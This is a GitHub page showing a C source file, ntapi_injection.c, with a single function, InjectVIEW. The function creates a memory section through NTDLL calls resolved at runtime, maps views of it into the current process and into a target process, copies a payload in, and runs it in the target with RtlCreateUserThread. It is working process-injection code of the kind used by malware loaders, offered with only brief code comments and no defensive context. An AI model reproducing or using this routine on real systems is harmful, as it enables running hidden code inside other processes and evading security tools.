-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathntapi_injection.c
More file actions
38 lines (33 loc) · 1.64 KB
/
ntapi_injection.c
File metadata and controls
38 lines (33 loc) · 1.64 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int InjectVIEW(HANDLE hProc, unsigned char *payload, unsigned int payload_len)
{
HANDLE hSection = NULL;
PVOID pLocalView = NULL, pRemoteView = NULL;
HANDLE hThread = NULL;
CLIENT_ID cid;
// create memory section
NtCreateSection_t pNtCreateSection = (NtCreateSection_t)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCreateSection");
if (pNtCreateSection == NULL)
return -2;
pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, (PLARGE_INTEGER)&payload_len, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// create local section view
NtMapViewOfSection_t pNtMapViewOfSection = (NtMapViewOfSection_t)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtMapViewOfSection");
if (pNtMapViewOfSection == NULL)
return -2;
pNtMapViewOfSection(hSection, GetCurrentProcess(), &pLocalView, NULL, NULL, NULL, (SIZE_T *)&payload_len, ViewUnmap, NULL, PAGE_READWRITE);
// throw the payload into the section
memcpy(pLocalView, payload, payload_len);
// create remote section view (target process)
pNtMapViewOfSection(hSection, hProc, &pRemoteView, NULL, NULL, NULL, (SIZE_T *)&payload_len, ViewUnmap, NULL, PAGE_EXECUTE_READ);
// execute the payload
RtlCreateUserThread_t pRtlCreateUserThread = (RtlCreateUserThread_t)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "RtlCreateUserThread");
if (pRtlCreateUserThread == NULL)
return -2;
pRtlCreateUserThread(hProc, NULL, FALSE, 0, 0, 0, pRemoteView, 0, &hThread, &cid);
if (hThread != NULL)
{
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}